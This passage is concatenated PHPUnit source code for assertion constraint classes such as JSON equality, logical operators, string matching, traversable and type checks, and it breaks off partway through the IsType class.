constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * This method can be overridden to implement the evaluation algorithm. */ protected function matches(mixed $other): bool { [$error, $recodedOther] = Json::canonicalize($other); if ($error) { return false; } [$error, $recodedValue] = Json::canonicalize($this->value); if ($error) { return false; } return $recodedOther == $recodedValue; } /** * Throws an exception for the given compared value and test description. * * @throws ExpectationFailedException * @throws InvalidJsonException */ protected function fail(mixed $other, string $description, ?ComparisonFailure $comparisonFailure = null): never { if ($comparisonFailure === null) { [$error, $recodedOther] = Json::canonicalize($other); if ($error) { parent::fail($other, $description); } [$error, $recodedValue] = Json::canonicalize($this->value); if ($error) { parent::fail($other, $description); } $comparisonFailure = new ComparisonFailure( json_decode($this->value), json_decode($other), Json::prettify($recodedValue), Json::prettify($recodedOther), 'Failed asserting that two json values are equal.', ); } parent::fail($other, $description, $comparisonFailure); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_finite; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsFinite extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is finite'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return is_finite($other); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_infinite; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsInfinite extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is infinite'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return is_infinite($other); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_nan; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsNan extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is nan'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return is_nan($other); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_object; use PHPUnit\Framework\ActualValueIsNotAnObjectException; use PHPUnit\Framework\ComparisonMethodDoesNotAcceptParameterTypeException; use PHPUnit\Framework\ComparisonMethodDoesNotDeclareBoolReturnTypeException; use PHPUnit\Framework\ComparisonMethodDoesNotDeclareExactlyOneParameterException; use PHPUnit\Framework\ComparisonMethodDoesNotDeclareParameterTypeException; use PHPUnit\Framework\ComparisonMethodDoesNotExistException; use ReflectionNamedType; use ReflectionObject; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ObjectEquals extends Constraint { private readonly object $expected; private readonly string $method; public function __construct(object $object, string $method = 'equals') { $this->expected = $object; $this->method = $method; } public function toString(): string { return 'two objects are equal'; } /** * @throws ActualValueIsNotAnObjectException * @throws ComparisonMethodDoesNotAcceptParameterTypeException * @throws ComparisonMethodDoesNotDeclareBoolReturnTypeException * @throws ComparisonMethodDoesNotDeclareExactlyOneParameterException * @throws ComparisonMethodDoesNotDeclareParameterTypeException * @throws ComparisonMethodDoesNotExistException */ protected function matches(mixed $other): bool { if (!is_object($other)) { throw new ActualValueIsNotAnObjectException; } $object = new ReflectionObject($other); if (!$object->hasMethod($this->method)) { throw new ComparisonMethodDoesNotExistException( $other::class, $this->method, ); } $method = $object->getMethod($this->method); if (!$method->hasReturnType()) { throw new ComparisonMethodDoesNotDeclareBoolReturnTypeException( $other::class, $this->method, ); } $returnType = $method->getReturnType(); if (!$returnType instanceof ReflectionNamedType) { throw new ComparisonMethodDoesNotDeclareBoolReturnTypeException( $other::class, $this->method, ); } if ($returnType->allowsNull()) { throw new ComparisonMethodDoesNotDeclareBoolReturnTypeException( $other::class, $this->method, ); } if ($returnType->getName() !== 'bool') { throw new ComparisonMethodDoesNotDeclareBoolReturnTypeException( $other::class, $this->method, ); } if ($method->getNumberOfParameters() !== 1 || $method->getNumberOfRequiredParameters() !== 1) { throw new ComparisonMethodDoesNotDeclareExactlyOneParameterException( $other::class, $this->method, ); } $parameter = $method->getParameters()[0]; if (!$parameter->hasType()) { throw new ComparisonMethodDoesNotDeclareParameterTypeException( $other::class, $this->method, ); } $type = $parameter->getType(); if (!$type instanceof ReflectionNamedType) { throw new ComparisonMethodDoesNotDeclareParameterTypeException( $other::class, $this->method, ); } $typeName = $type->getName(); if ($typeName === 'self') { $typeName = $other::class; } if (!$this->expected instanceof $typeName) { throw new ComparisonMethodDoesNotAcceptParameterTypeException( $other::class, $this->method, $this->expected::class, ); } return $other->{$this->method}($this->expected); } protected function failureDescription(mixed $other): string { return $this->toString(true); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function gettype; use function is_object; use function sprintf; use ReflectionObject; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ObjectHasProperty extends Constraint { private readonly string $propertyName; public function __construct(string $propertyName) { $this->propertyName = $propertyName; } /** * Returns a string representation of the constraint. */ public function toString(): string { return sprintf( 'has property "%s"', $this->propertyName, ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @param mixed $other value or object to evaluate */ protected function matches(mixed $other): bool { if (!is_object($other)) { return false; } return (new ReflectionObject($other))->hasProperty($this->propertyName); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @param mixed $other evaluated value or object */ protected function failureDescription(mixed $other): string { if (is_object($other)) { return sprintf( 'object of class "%s" %s', $other::class, $this->toString(true), ); } return sprintf( '"%s" (%s) %s', $other, gettype($other), $this->toString(true), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function array_map; use function count; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class BinaryOperator extends Operator { /** * @psalm-var list */ private readonly array $constraints; protected function __construct(mixed ...$constraints) { $this->constraints = array_map( fn ($constraint): Constraint => $this->checkConstraint($constraint), $constraints, ); } /** * Returns the number of operands (constraints). */ final public function arity(): int { return count($this->constraints); } /** * Returns a string representation of the constraint. */ public function toString(): string { $reduced = $this->reduce(); if ($reduced !== $this) { return $reduced->toString(); } $text = ''; foreach ($this->constraints as $key => $constraint) { $constraint = $constraint->reduce(); $text .= $this->constraintToString($constraint, $key); } return $text; } /** * Counts the number of constraint elements. */ public function count(): int { $count = 0; foreach ($this->constraints as $constraint) { $count += count($constraint); } return $count; } /** * @psalm-return list */ final protected function constraints(): array { return $this->constraints; } /** * Returns true if the $constraint needs to be wrapped with braces. */ final protected function constraintNeedsParentheses(Constraint $constraint): bool { return $this->arity() > 1 && parent::constraintNeedsParentheses($constraint); } /** * Reduces the sub-expression starting at $this by skipping degenerate * sub-expression and returns first descendant constraint that starts * a non-reducible sub-expression. * * See Constraint::reduce() for more. */ protected function reduce(): Constraint { if ($this->arity() === 1 && $this->constraints[0] instanceof Operator) { return $this->constraints[0]->reduce(); } return parent::reduce(); } /** * Returns string representation of given operand in context of this operator. */ private function constraintToString(Constraint $constraint, int $position): string { $prefix = ''; if ($position > 0) { $prefix = (' ' . $this->operator() . ' '); } if ($this->constraintNeedsParentheses($constraint)) { return $prefix . '( ' . $constraint->toString() . ' )'; } $string = $constraint->toStringInContext($this, $position); if ($string === '') { $string = $constraint->toString(); } return $prefix . $string; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class LogicalAnd extends BinaryOperator { public static function fromConstraints(mixed ...$constraints): self { return new self(...$constraints); } /** * Returns the name of this operator. */ public function operator(): string { return 'and'; } /** * Returns this operator's precedence. * * @see https://www.php.net/manual/en/language.operators.precedence.php */ public function precedence(): int { return 22; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { foreach ($this->constraints() as $constraint) { if (!$constraint->evaluate($other, '', true)) { return false; } } return [] !== $this->constraints(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function array_map; use function count; use function preg_match; use function preg_quote; use function preg_replace; use PHPUnit\Framework\ExpectationFailedException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class LogicalNot extends UnaryOperator { public static function negate(string $string): string { $positives = [ 'contains ', 'exists', 'has ', 'is ', 'are ', 'matches ', 'starts with ', 'ends with ', 'reference ', 'not not ', ]; $negatives = [ 'does not contain ', 'does not exist', 'does not have ', 'is not ', 'are not ', 'does not match ', 'starts not with ', 'ends not with ', 'don\'t reference ', 'not ', ]; preg_match('/(\'[\w\W]*\')([\w\W]*)("[\w\W]*")/i', $string, $matches); if (count($matches) === 0) { preg_match('/(\'[\w\W]*\')([\w\W]*)(\'[\w\W]*\')/i', $string, $matches); } $positives = array_map( static fn (string $s) => '/\\b' . preg_quote($s, '/') . '/', $positives, ); if (count($matches) > 0) { $nonInput = $matches[2]; $negatedString = preg_replace( '/' . preg_quote($nonInput, '/') . '/', preg_replace( $positives, $negatives, $nonInput, ), $string, ); } else { $negatedString = preg_replace( $positives, $negatives, $string, ); } return $negatedString; } /** * Returns the name of this operator. */ public function operator(): string { return 'not'; } /** * Returns this operator's precedence. * * @see https://www.php.net/manual/en/language.operators.precedence.php */ public function precedence(): int { return 5; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @throws ExpectationFailedException */ protected function matches(mixed $other): bool { return !$this->constraint()->evaluate($other, '', true); } /** * Applies additional transformation to strings returned by toString() or * failureDescription(). */ protected function transformString(string $string): string { return self::negate($string); } /** * Reduces the sub-expression starting at $this by skipping degenerate * sub-expression and returns first descendant constraint that starts * a non-reducible sub-expression. * * See Constraint::reduce() for more. */ protected function reduce(): Constraint { $constraint = $this->constraint(); if ($constraint instanceof self) { return $constraint->constraint()->reduce(); } return parent::reduce(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class LogicalOr extends BinaryOperator { public static function fromConstraints(mixed ...$constraints): self { return new self(...$constraints); } /** * Returns the name of this operator. */ public function operator(): string { return 'or'; } /** * Returns this operator's precedence. * * @see https://www.php.net/manual/en/language.operators.precedence.php */ public function precedence(): int { return 24; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ public function matches(mixed $other): bool { foreach ($this->constraints() as $constraint) { if ($constraint->evaluate($other, '', true)) { return true; } } return false; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function array_reduce; use function array_shift; use PHPUnit\Framework\ExpectationFailedException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class LogicalXor extends BinaryOperator { public static function fromConstraints(mixed ...$constraints): self { return new self(...$constraints); } /** * Returns the name of this operator. */ public function operator(): string { return 'xor'; } /** * Returns this operator's precedence. * * @see https://www.php.net/manual/en/language.operators.precedence.php. */ public function precedence(): int { return 23; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @throws ExpectationFailedException */ public function matches(mixed $other): bool { $constraints = $this->constraints(); $initial = array_shift($constraints); if ($initial === null) { return false; } return array_reduce( $constraints, static fn (bool $matches, Constraint $constraint): bool => $matches xor $constraint->evaluate($other, '', true), $initial->evaluate($other, '', true), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class Operator extends Constraint { /** * Returns the name of this operator. */ abstract public function operator(): string; /** * Returns this operator's precedence. * * @see https://www.php.net/manual/en/language.operators.precedence.php */ abstract public function precedence(): int; /** * Returns the number of operands. */ abstract public function arity(): int; /** * Validates $constraint argument. */ protected function checkConstraint(mixed $constraint): Constraint { if (!$constraint instanceof Constraint) { return new IsEqual($constraint); } return $constraint; } /** * Returns true if the $constraint needs to be wrapped with braces. */ protected function constraintNeedsParentheses(Constraint $constraint): bool { return $constraint instanceof self && $constraint->arity() > 1 && $this->precedence() <= $constraint->precedence(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function count; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class UnaryOperator extends Operator { private readonly Constraint $constraint; public function __construct(mixed $constraint) { $this->constraint = $this->checkConstraint($constraint); } /** * Returns the number of operands (constraints). */ public function arity(): int { return 1; } /** * Returns a string representation of the constraint. */ public function toString(): string { $reduced = $this->reduce(); if ($reduced !== $this) { return $reduced->toString(); } $constraint = $this->constraint->reduce(); if ($this->constraintNeedsParentheses($constraint)) { return $this->operator() . '( ' . $constraint->toString() . ' )'; } $string = $constraint->toStringInContext($this, 0); if ($string === '') { return $this->transformString($constraint->toString()); } return $string; } /** * Counts the number of constraint elements. */ public function count(): int { return count($this->constraint); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { $reduced = $this->reduce(); if ($reduced !== $this) { return $reduced->failureDescription($other); } $constraint = $this->constraint->reduce(); if ($this->constraintNeedsParentheses($constraint)) { return $this->operator() . '( ' . $constraint->failureDescription($other) . ' )'; } $string = $constraint->failureDescriptionInContext($this, 0, $other); if ($string === '') { return $this->transformString($constraint->failureDescription($other)); } return $string; } /** * Transforms string returned by the member constraint's toString() or * failureDescription() such that it reflects constraint's participation in * this expression. * * The method may be overwritten in a subclass to apply default * transformation in case the operand constraint does not provide its own * custom strings via toStringInContext() or failureDescriptionInContext(). */ protected function transformString(string $string): string { return $string; } /** * Provides access to $this->constraint for subclasses. */ final protected function constraint(): Constraint { return $this->constraint; } /** * Returns true if the $constraint needs to be wrapped with parentheses. */ protected function constraintNeedsParentheses(Constraint $constraint): bool { $constraint = $constraint->reduce(); return $constraint instanceof self || parent::constraintNeedsParentheses($constraint); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use const JSON_ERROR_CTRL_CHAR; use const JSON_ERROR_DEPTH; use const JSON_ERROR_NONE; use const JSON_ERROR_STATE_MISMATCH; use const JSON_ERROR_SYNTAX; use const JSON_ERROR_UTF8; use function is_string; use function json_decode; use function json_last_error; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsJson extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is valid JSON'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { if (!is_string($other) || $other === '') { return false; } json_decode($other); if (json_last_error()) { return false; } return true; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { if (!is_string($other)) { return $this->valueToTypeStringFragment($other) . 'is valid JSON'; } if ($other === '') { return 'an empty string is valid JSON'; } return sprintf( 'a string is valid JSON (%s)', $this->determineJsonError($other), ); } private function determineJsonError(string $json): string { json_decode($json); return match (json_last_error()) { JSON_ERROR_NONE => '', JSON_ERROR_DEPTH => 'Maximum stack depth exceeded', JSON_ERROR_STATE_MISMATCH => 'Underflow or the modes mismatch', JSON_ERROR_CTRL_CHAR => 'Unexpected control character found', JSON_ERROR_SYNTAX => 'Syntax error, malformed JSON', JSON_ERROR_UTF8 => 'Malformed UTF-8 characters, possibly incorrectly encoded', default => 'Unknown error', }; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function preg_match; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class RegularExpression extends Constraint { private readonly string $pattern; public function __construct(string $pattern) { $this->pattern = $pattern; } /** * Returns a string representation of the constraint. */ public function toString(): string { return sprintf( 'matches PCRE pattern "%s"', $this->pattern, ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return preg_match($this->pattern, $other) > 0; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_string; use function mb_detect_encoding; use function mb_stripos; use function mb_strtolower; use function sprintf; use function str_contains; use function strlen; use function strtr; use PHPUnit\Util\Exporter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class StringContains extends Constraint { private readonly string $needle; private readonly bool $ignoreCase; private readonly bool $ignoreLineEndings; public function __construct(string $needle, bool $ignoreCase = false, bool $ignoreLineEndings = false) { if ($ignoreLineEndings) { $needle = $this->normalizeLineEndings($needle); } $this->needle = $needle; $this->ignoreCase = $ignoreCase; $this->ignoreLineEndings = $ignoreLineEndings; } /** * Returns a string representation of the constraint. */ public function toString(): string { $needle = $this->needle; if ($this->ignoreCase) { $needle = mb_strtolower($this->needle, 'UTF-8'); } return sprintf( 'contains "%s" [%s](length: %s)', $needle, $this->getDetectedEncoding($needle), strlen($needle), ); } public function failureDescription(mixed $other): string { $stringifiedHaystack = Exporter::export($other, true); $haystackEncoding = $this->getDetectedEncoding($other); $haystackLength = $this->getHaystackLength($other); $haystackInformation = sprintf( '%s [%s](length: %s) ', $stringifiedHaystack, $haystackEncoding, $haystackLength, ); $needleInformation = $this->toString(true); return $haystackInformation . $needleInformation; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { $haystack = $other; if ('' === $this->needle) { return true; } if (!is_string($haystack)) { return false; } if ($this->ignoreLineEndings) { $haystack = $this->normalizeLineEndings($haystack); } if ($this->ignoreCase) { /* * We must use the multibyte-safe version, so we can accurately compare non-latin uppercase characters with * their lowercase equivalents. */ return mb_stripos($haystack, $this->needle, 0, 'UTF-8') !== false; } /* * Use the non-multibyte safe functions to see if the string is contained in $other. * * This function is very fast, and we don't care about the character position in the string. * * Additionally, we want this method to be binary safe, so we can check if some binary data is in other binary * data. */ return str_contains($haystack, $this->needle); } private function getDetectedEncoding(mixed $other): string { if ($this->ignoreCase) { return 'Encoding ignored'; } if (!is_string($other)) { return 'Encoding detection failed'; } $detectedEncoding = mb_detect_encoding($other, null, true); if ($detectedEncoding === false) { return 'Encoding detection failed'; } return $detectedEncoding; } private function getHaystackLength(mixed $haystack): int { if (!is_string($haystack)) { return 0; } if ($this->ignoreLineEndings) { $haystack = $this->normalizeLineEndings($haystack); } return strlen($haystack); } private function normalizeLineEndings(string $string): string { return strtr( $string, [ "\r\n" => "\n", "\r" => "\n", ], ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function str_ends_with; use PHPUnit\Framework\EmptyStringException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class StringEndsWith extends Constraint { private readonly string $suffix; /** * @throws EmptyStringException */ public function __construct(string $suffix) { if ($suffix === '') { throw new EmptyStringException; } $this->suffix = $suffix; } /** * Returns a string representation of the constraint. */ public function toString(): string { return 'ends with "' . $this->suffix . '"'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return str_ends_with((string) $other, $this->suffix); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function sprintf; use function strtr; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class StringEqualsStringIgnoringLineEndings extends Constraint { private readonly string $string; public function __construct(string $string) { $this->string = $this->normalizeLineEndings($string); } /** * Returns a string representation of the constraint. */ public function toString(): string { return sprintf( 'is equal to "%s" ignoring line endings', $this->string, ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return $this->string === $this->normalizeLineEndings((string) $other); } private function normalizeLineEndings(string $string): string { return strtr( $string, [ "\r\n" => "\n", "\r" => "\n", ], ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use const DIRECTORY_SEPARATOR; use const PHP_EOL; use function explode; use function implode; use function preg_match; use function preg_quote; use function preg_replace; use function strtr; use SebastianBergmann\Diff\Differ; use SebastianBergmann\Diff\Output\UnifiedDiffOutputBuilder; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class StringMatchesFormatDescription extends Constraint { private readonly string $formatDescription; public function __construct(string $formatDescription) { $this->formatDescription = $formatDescription; } public function toString(): string { return 'matches format description:' . PHP_EOL . $this->formatDescription; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { $other = $this->convertNewlines($other); $matches = preg_match( $this->regularExpressionForFormatDescription( $this->convertNewlines($this->formatDescription), ), $other, ); return $matches > 0; } protected function failureDescription(mixed $other): string { return 'string matches format description'; } protected function additionalFailureDescription(mixed $other): string { $from = explode("\n", $this->formatDescription); $to = explode("\n", $this->convertNewlines($other)); foreach ($from as $index => $line) { if (isset($to[$index]) && $line !== $to[$index]) { $line = $this->regularExpressionForFormatDescription($line); if (preg_match($line, $to[$index]) > 0) { $from[$index] = $to[$index]; } } } $from = implode("\n", $from); $to = implode("\n", $to); return $this->differ()->diff($from, $to); } private function regularExpressionForFormatDescription(string $string): string { $string = strtr( preg_quote($string, '/'), [ '%%' => '%', '%e' => preg_quote(DIRECTORY_SEPARATOR, '/'), '%s' => '[^\r\n]+', '%S' => '[^\r\n]*', '%a' => '.+?', '%A' => '.*?', '%w' => '\s*', '%i' => '[+-]?\d+', '%d' => '\d+', '%x' => '[0-9a-fA-F]+', '%f' => '[+-]?(?:\d+|(?=\.\d))(?:\.\d+)?(?:[Ee][+-]?\d+)?', '%c' => '.', '%0' => '\x00', ], ); return '/^' . $string . '$/s'; } private function convertNewlines(string $text): string { return preg_replace('/\r\n/', "\n", $text); } private function differ(): Differ { return new Differ(new UnifiedDiffOutputBuilder("--- Expected\n+++ Actual\n")); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function str_starts_with; use PHPUnit\Framework\EmptyStringException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class StringStartsWith extends Constraint { private readonly string $prefix; /** * @throws EmptyStringException */ public function __construct(string $prefix) { if ($prefix === '') { throw new EmptyStringException; } $this->prefix = $prefix; } /** * Returns a string representation of the constraint. */ public function toString(): string { return 'starts with "' . $this->prefix . '"'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return str_starts_with((string) $other, $this->prefix); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function array_key_exists; use function is_array; use ArrayAccess; use PHPUnit\Util\Exporter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ArrayHasKey extends Constraint { private readonly mixed $key; public function __construct(mixed $key) { $this->key = $key; } /** * Returns a string representation of the constraint. */ public function toString(): string { return 'has the key ' . Exporter::export($this->key); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { if (is_array($other)) { return array_key_exists($this->key, $other); } if ($other instanceof ArrayAccess) { return $other->offsetExists($this->key); } return false; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { return 'an array ' . $this->toString(true); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function array_is_list; use function is_array; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsList extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is a list'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { if (!is_array($other)) { return false; } return array_is_list($other); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { return $this->valueToTypeStringFragment($other) . $this->toString(true); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_array; use function sprintf; use PHPUnit\Util\Exporter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class TraversableContains extends Constraint { private readonly mixed $value; public function __construct(mixed $value) { $this->value = $value; } /** * Returns a string representation of the constraint. */ public function toString(bool $exportObjects = false): string { return 'contains ' . Exporter::export($this->value, $exportObjects); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { return sprintf( '%s %s', is_array($other) ? 'an array' : 'a traversable', $this->toString(true), ); } protected function value(): mixed { return $this->value; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use SplObjectStorage; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TraversableContainsEqual extends TraversableContains { /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { if ($other instanceof SplObjectStorage) { return $other->offsetExists($this->value()); } foreach ($other as $element) { /* @noinspection TypeUnsafeComparisonInspection */ if ($this->value() == $element) { return true; } } return false; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use SplObjectStorage; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TraversableContainsIdentical extends TraversableContains { /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { if ($other instanceof SplObjectStorage) { return $other->offsetExists($this->value()); } foreach ($other as $element) { if ($this->value() === $element) { return true; } } return false; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use PHPUnit\Framework\Exception; use PHPUnit\Framework\ExpectationFailedException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class TraversableContainsOnly extends Constraint { private Constraint $constraint; private readonly string $type; /** * @throws Exception */ public function __construct(string $type, bool $isNativeType = true) { if ($isNativeType) { $this->constraint = new IsType($type); } else { $this->constraint = new IsInstanceOf($type); } $this->type = $type; } /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws ExpectationFailedException */ public function evaluate(mixed $other, string $description = '', bool $returnResult = false): bool { $success = true; foreach ($other as $item) { if (!$this->constraint->evaluate($item, '', true)) { $success = false; break; } } if (!$success && !$returnResult) { $this->fail($other, $description); } return $success; } /** * Returns a string representation of the constraint. */ public function toString(): string { return 'contains only values of type "' . $this->type . '"'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function class_exists; use function interface_exists; use function sprintf; use PHPUnit\Framework\UnknownClassOrInterfaceException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsInstanceOf extends Constraint { /** * @psalm-var class-string */ private readonly string $name; /** * @psalm-var 'class'|'interface' */ private readonly string $type; /** * @throws UnknownClassOrInterfaceException */ public function __construct(string $name) { if (class_exists($name)) { $this->type = 'class'; } elseif (interface_exists($name)) { $this->type = 'interface'; } else { throw new UnknownClassOrInterfaceException($name); } $this->name = $name; } /** * Returns a string representation of the constraint. */ public function toString(): string { return sprintf( 'is an instance of %s %s', $this->type, $this->name, ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return $other instanceof $this->name; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { return $this->valueToTypeStringFragment($other) . $this->toString(true); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsNull extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is null'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return $other === null; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function gettype; use function is_array; use function is_bool; use function is_callable; use function is_float; use function is_int; use function is_iterable; use function is_numeric; use function is_object; use function is_scalar; use function is_string; use function sprintf; use PHPUnit\Framework\UnknownTypeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsType extends Constraint { /** * @var string */ public const TYPE_ARRAY = 'array'; /** * @var string */ public const TYPE_BOOL = 'bool'; /** * @var string */ public const TYPE_FLOAT = 'float'; /** * @var string */ public const TYPE_INT = 'int'; /** * @var string */ public const TYPE_NULL = 'null'; /** * @var string */ public const TYPE_NUMERIC = 'numeric'; /** * @var string */ public const TYPE_OBJECT = 'object'; /** * @var string */ public const TYPE_RESOURCE = 